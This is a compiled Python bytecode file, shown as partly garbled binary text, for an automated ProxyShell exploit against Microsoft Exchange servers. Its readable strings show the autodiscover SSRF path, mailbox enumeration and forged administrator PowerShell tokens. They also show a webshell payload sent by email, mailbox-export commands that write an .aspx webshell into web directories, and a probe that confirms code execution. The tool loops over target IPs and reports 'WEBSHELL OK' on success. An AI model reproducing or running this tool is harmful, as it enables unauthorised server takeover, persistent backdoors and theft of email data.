o
óN±jV> ã @ sž d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl Z d dl
Z
d dl Z d dl Z d dl
m mZ d dlmZmZ d dlmZ d dlmZ d dlmZ d dlmZm Z e j j ¡ i Z dd„ Z!d$d
d „Z"e"d ƒZ#d
d„ Z$G dd„ deeƒZ%G dd„ deƒZ&G dd„ dƒZ'dd„ Z(dd„ Z)d%dd„Z*d&d d „Z+e,d krÍe -¡ Z.e. /d ¡ e.j/d!e0d d" e. 1¡ Z2e+e2j3e2j4ƒZ5e6d#e 7e5¡ ƒ dS dS )'é N)Ú
HTTPServerÚBaseHTTPRequestHandler)ÚThreadingMixIn)Úpartial)ÚWSMan)Ú
PowerShellÚ RunspacePoolc C s, t d| › dd t dg ¡ t| ƒ¡ d S )Nz[*] T)ÚflushÚlog)ÚprintÚSTATEÚ
setdefaultÚappendÚstr)Úmsg© r ú\/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/./ps_driver.pyr
s r
é c C s d tjtj| d¡S )NÚ )Úk)ÚjoinÚrandomÚchoicesÚstringÚascii_lowercase)Únr r r Ú rand_string s r é c C sj d} g d¢}d gt | ƒ }tt | ƒƒD ]}t| | ƒd@ }d|| ||< qd |¡}t t |¡¡ ¡ S )Nz( éG éñ é´ éæ é éj ér éH é… éN éž éë éâ éø é” éS éà é» é é éè éZ é é« éÛ éã éº éÆ é| éà r éÝ é9 r é– é0 éõ é7 é` é‚ éŒ éÉ é éJ ék é éó éû é é& é— éÊ é‘ é é éÄ é2 é- én é1 é• éÿ éÙ é# éÑ r é^ éy éÜ éD é; é é( éÅ éa éW é é é= éƒ é¹ éC é¾ ég éÒ éF éB év éÀ ém é[ é~ é² é é é) é< é© é éT é
éÚ é] éß éö é· éÇ éb éÍ é é éÓ éi é\ é† éÖ é é÷ é¥ éf éu é¬ é± éé éE é! ép é é‡ éŸ ét é¤ é" éL éo é¿ é éV éª é. é³ éx é3 éP é° é£ é’ é¼ éÏ é é é§ éc éË é éM é> éK é é› éO éç éð éî é é: éµ éY é éê é@ éU é% éQ éå éz é‰ é8 éh éR é{ éü é' é® é× é½ éú é éô éÌ éŽ é_ éï é5 éœ é„ é+ é éÕ éw é4 éI é¶ é é
é éq éˆ éý é é éA é} é“ éØ éX é, éÎ éþ é$ é¯ éÞ é¸ é6 éÈ é¡ é€ é¦ é™ é˜ é¨ é/ é é ée és éä éÂ é¢ éŠ éÔ éá é éÐ é é‹ é* éò éí éš éd é? éÁ él éù éì rY z%02xr ) ÚlenÚrangeÚordr Úbase64Ú b64encodeÚbinasciiÚ unhexlifyÚdecode)ÚpayloadÚcompEncÚoutÚiÚtempr r r Úwebshell_payload s
r( c @ s e Zd ZdS )ÚThreadedHTTPServerN)Ú__name__Ú
__module__Ú __qualname__r r r r r) 1 s r) c s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú PwnServerc s || _ tƒ j|i |¤Ž d S ©N)Ú
proxyshellÚsuperÚ__init__)Úselfr/ ÚargsÚkwargs©Ú __class__r r r1 5 s zPwnServer.__init__c
C s¼ d| j j› }t| jd ƒ}| jd }| j |¡ ¡ }t dd|¡}t dd|¡}z| j ||d|i¡}|j
}W n t yL } zd }W Y d }~nd }~ww | d
¡ |
¡ | j |¡ d S ) Nz/powershell/?X-Rps-CAT=zcontent-lengthz content-typez(.*?)z/http://127.0.0.1:80/powershellzD(.*?)zahttp://schemas.microsoft.com/powershell/Microsoft.Exchangeú Content-Typeó rû )r/ ÚtokenÚintÚheadersÚrfileÚreadr" ÚreÚsubÚpostÚcontentÚ ExceptionÚ
send_responseÚ end_headersÚwfileÚwrite)r2 Úpowershell_urlÚlengthÚ content_typeÚ post_dataÚrÚrespÚer r r Údo_POST8 s
€ÿ
zPwnServer.do_POSTc G s d S r. r )r2 Úformatr3 r r r Ú log_messageG s zPwnServer.log_message)r* r+ r, r1 rN rP Ú
__classcell__r r r5 r r- 4 s r- c @ sP e Zd Zddd„Zddd„Zd d
„ Zd d „ Zd
d„ Zdd„ Zdd„ Z dd„ Z
dS )Ú
ProxyShellr Frx c C sf || _ | d¡r
|nd|› | _d | _d | _d | _d | _d | _d| _t
¡ | _ || j _ || _
d| _d S )Núhttps://zHtTp://ifcoNFiG.mEzsMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36)ÚemailÚ
startswithÚ exchange_urlÚlegacydnÚfqdnÚsidÚ admin_sidr9 ÚclientidÚrequestsÚSessionÚsessionÚverifyÚtimeoutÚua)r2 rV rT r_ r` r r r r1 K s
zProxyShell.__init__Nc C s^ |pi }d|v r| dd¡}d|› d}nd|› d}| j› |› }| jj|||| jd}|S )NÚ
powershellz /powershell/z/%70owershell/z*/autodiscover/autodiscover.json?@evil.corpú2&Email=autodiscover/autodiscover.json%3F@evil.corpz3?&Email=autodiscover/autodiscover.json%3F@evil.corp)ÚurlÚdatar; r` )ÚreplacerV r^ r@ r` )r2 Úendpointre r; Úpathrd rK r r r r@ X s zProxyShell.postc C s0 d}t j| j| d| jd}|j d¡| _| jS )Nzo/autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corpF)r_ r` zX-CalculatedBETarget)r\ ÚgetrV r` r; rX )r2 rM rK r r r Úget_fqdnb s zProxyShell.get_fqdnc C s¤ d}ddi}| d||¡}t d|j¡}|td< |D ]5}dj|d}| d |ddi¡}|jd
krOd |jv rO|| _t d |j¡d
| _t d| j› ƒ | j S qd S )Na¶ SMTP:r7 útext/xmlz/EWS/exchange.asmxz.(?:)(.+?)(?:)Úemailsa- {mail}http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a)Úmailz /autodiscover/autodiscover.xmlrû ÚLegacyz"(?:)(.+?)(?:)r zvalid mailbox: )
r@ r> ÚfindallÚtextr rO Ú status_coderT rW r
)r2 re r; rK rl ÚemÚautodiscover_payloadÚ
r_legacydnr r r Ú get_legacydng s
€zProxyShell.get_legacydnc C sŠ | j d }ddddd| jdœ}| d||¡}|j d ¡d
d ¡d | _| j d
d
¡d
dkr>| j d
d
¡d d | _| jS | j| _| jS )Nu ä ÚConnectz'{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}zOutlook/15.0.4815.1002z({C715155F-2BE8-44E0-BD34-2960067874C8}:2zapplication/mapi-http)z
X-Requesttypez X-ClientinfozX-Clientapplicationz X-Requestidr7 ú
User-Agentz /mapi/emsmdbz with SID rR z and MasterAccountSidr ú-Ú500z-500)rW ra r@ rp ÚsplitrY ÚrsplitrZ )r2 re r; rK r r r Úget_sidv s
ÿzProxyShell.get_sidc C sˆ | ¡ | _z
tj| j| jdj| _W n ty d| _Y nw tj| j d | j d d| j› d| j
dœd| jd }|j d
krB| jS d S ) N©r` ÚC715155F2BE844E0zC/autodiscover/autodiscover.json?@evil.corp/%70owershell/?X-Rps-CAT=rc z PrivateComputer=true; ClientID=z!-BD342960067874C8; X-OWA-JS-PSD=1)ÚCookierw F)r; r_ r` rû ) Ú gen_tokenr9 r\ ri r[ r` rp ÚcidrB rV ra rq )r2 Útr r r Ú get_token€ s
ÿþzProxyShell.get_tokenc C sz | j }| j}tƒ }dj|t||d}| d|ddi¡}z|j d¡d d¡d }W |S ty< |jd d
… }Y |S w ) Na {sid}S-1-5-21{subj}helloFileAttachment.txtfalsefalse{payload}{mail})rY Úsubjr# rm z/ews/exchange.asmxr7 rk zResponseClass="rR ú"r rû ) rT rY r( rO Úsubj_r@ rp rz rB )r2 rm rY r# Ú
send_emailÚpÚdr r r Úset_ewsŠ s þþzProxyShell.set_ewsc C s$ d}d}d}d}d}d}|dd dd¡ | dd¡ 7 }|d t|ƒ dd¡ | ¡ 7 }|d
| dd¡ 7 }|d t|ƒ dd¡ | ¡ 7 }|d t| jƒ dd¡ | j ¡ 7 }|d
t| jƒ dd¡ | j ¡ 7 }|dt ddd¡ t|ƒ dd¡ | ¡ 7 }|dt dd¡ 7 }t |¡ ¡ S )Nr ÚWindowsÚKerberosr8 z S-1-5-32-544ó VrR Úlittleó Tó Có Aó Ló Uó GzI)
Úto_bytesr ÚencoderT rY ÚstructÚpackr r r" )r2 ÚversionÚttypeÚ
compressedÚ auth_typeÚ raw_tokenÚgsidr r r r€ • s $$.zProxyShell.gen_token)r Frx r. ) r* r+ r, r1 r@ rj ru r| rƒ rŠ r€ r r r r rR J s
rR c C s8 t t| ƒ}td|f|ƒ}tj|jd}d|_| ¡ |S )Nr )ÚtargetT)r r- r) Ú threadingÚThreadÚ
serve_foreverÚdaemonÚstart)r/ ÚportÚhandlerÚserverr‚ r r r Ú start_server¡ s
r© c C sh t dddd|ddd}t|ƒ}t|ƒ}| | ¡ | ¡ }||jjfW d ƒ S 1 s-w Y d S )Nz 127.0.0.1r FÚbasicÚnever)ÚusernameÚpasswordÚsslr¦ ÚauthÚ
encryption)r r r Ú
add_scriptÚinvokeÚstreamsÚerror)Úcommandr¦ ÚwsmanÚpoolÚpsÚoutputr r r Ú wsman_shell§ s
$ürº Úwhoamic
C s` ddi}zt j| ddi|ddd}|j|jfW S ty/ } z d t|ƒfW Y d }~S d }~ww )NÚ exec_codezwResponse.Write("PWN|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion);r7 z!application/x-www-form-urlencodedFr )r; Úparamsr_ r` )r\ r@ rq rp rB r )Ú shell_urlÚcmdÚbodyÚfrM r r r Ú
test_webshell¯ s €ÿr é c s
t ¡ ‰‡ ‡fdd„}td| › dd}| dddœ}zÍtd ƒ | ¡ }td
|› ƒ |s4d |d < |W S td
ƒ | ¡ }|sEd|d < |W S td|› ƒ tdƒ | ¡ }td|› d|j› ƒ |j|_tdƒ | ¡ }|std|d < |W S td|d d… › dƒ tdƒ tdt |
¡ ƒ ƒ t dd¡} t
|| ƒ}
|j d ¡d } d d g} d }
| D ]4\}}|ƒ d!k rºtd"ƒ n%tƒ d# }d$| | }|d%krÕ| d&¡d' d(d)¡}n | d*¡d' d(d)¡}d| › d)|› |› }td+|› |› ƒ z td,| › d-| ƒ W n ty } z
td.|› ƒ W Y d }~nd }~ww t d/¡ ztd0| ƒ W n ty? } z
td1|› ƒ W Y d }~nd }~ww d2|jt|f }z
t|| ƒ\}}td3ƒ W n tyo } z
td4|› ƒ W Y d }~nd }~ww t d5¡ td6ƒD ]_}t|ƒ\}}|d7krº|rºd8|v rºd9|d d7… vrºtd:|› d;|d d<… ›ƒ |jd=|d d7… ||j|j|d> d?}
n |d7krËtd@|d d<… ›ƒ ntdA|› ƒ t d6¡ qy|
rÞ nq©|
sædB|d < |W S ty } zdC|› |d < |W Y d }~S d }~ww )DNc s ˆ t ¡ ˆ S r. )Útimer ©Úbudgetr¥ r r Úleftº s zrun_target..leftrS rx r} Úfailr )ÚipÚstatusÚdetailrj zfqdn=zno fqdnrË z"get_legacydn (enumerate mailboxes)zno legacyDN / no mailboxz legacydn=r| zsid=z admin_sid=rƒ zno tokenz
token ok (rµ z...)z&set_ews (upload webshell into mailbox)z set_ews -> i N i@œ ú@r )zHProgram Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\r¯ )z inetpub\wwwroot\aspnet_client\Ú
aspnet_clientFrc z budget low, stopping attemptsz.aspxz\\127.0.0.1\c$\rÍ zinetpub\wwwroot\rR ú\ú/z?Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\zwrite webshell -> zBNew-ManagementRoleAssignment -Role "Mailbox Import Export" -User "r… zroleassign err r1 zXGet-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$falsez cleanup err z…New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq '%s')" -ExcludeDumpster -FilePath "%s"zexport req submittedz export err r r} rû zPWN|rB z
WEBSHELL OK: z -> r¨ Úsuccess)rÊ rË r¾ rT rY rX Tzshell 200 but body: zshell probe code=zwebshell not confirmedz exception: )rÄ rR r
rj ru r| rZ rY rƒ r rŠ r Úrandintr© rT rz r rf rº rB Úsleepr† r r Úupdate)rÉ rÆ rÇ r¸ ÚresultrX ÚldrY Útokr¦ ÚsrvÚuserÚpathsÚgotÚ
shell_pathÚkindÚ
shell_nameÚuncÚrelr¾ rM r¿ r% ÚerrÚ_ÚcodeÚtxtr rÅ r Ú
run_target¸ s²
þ
€ÿ
€ÿ
ÿ €ÿ
, "
ÿ€þrä Ú__main__rÉ z--budget)ÚtypeÚdefaultz RESULT_JSON )r )r» )rà )8Úargparser r˜ r r r r> ÚsysrÄ Újsonr¡ Úosr\ Úxml.etree.cElementTreeÚetreeÚ cElementTreeÚETÚ http.serverr r Ú socketserverr Ú functoolsr Ú pypsrp.wsmanr Úpypsrp.powershellr r ÚpackagesÚurllib3Údisable_warningsr r
r r† r( r) r- rR r© rº r rä r* ÚArgumentParserÚapÚ add_argumentr: Ú
parse_argsÚarÉ rÆ rK r Údumpsr r r r Ú s: `
W
V
ú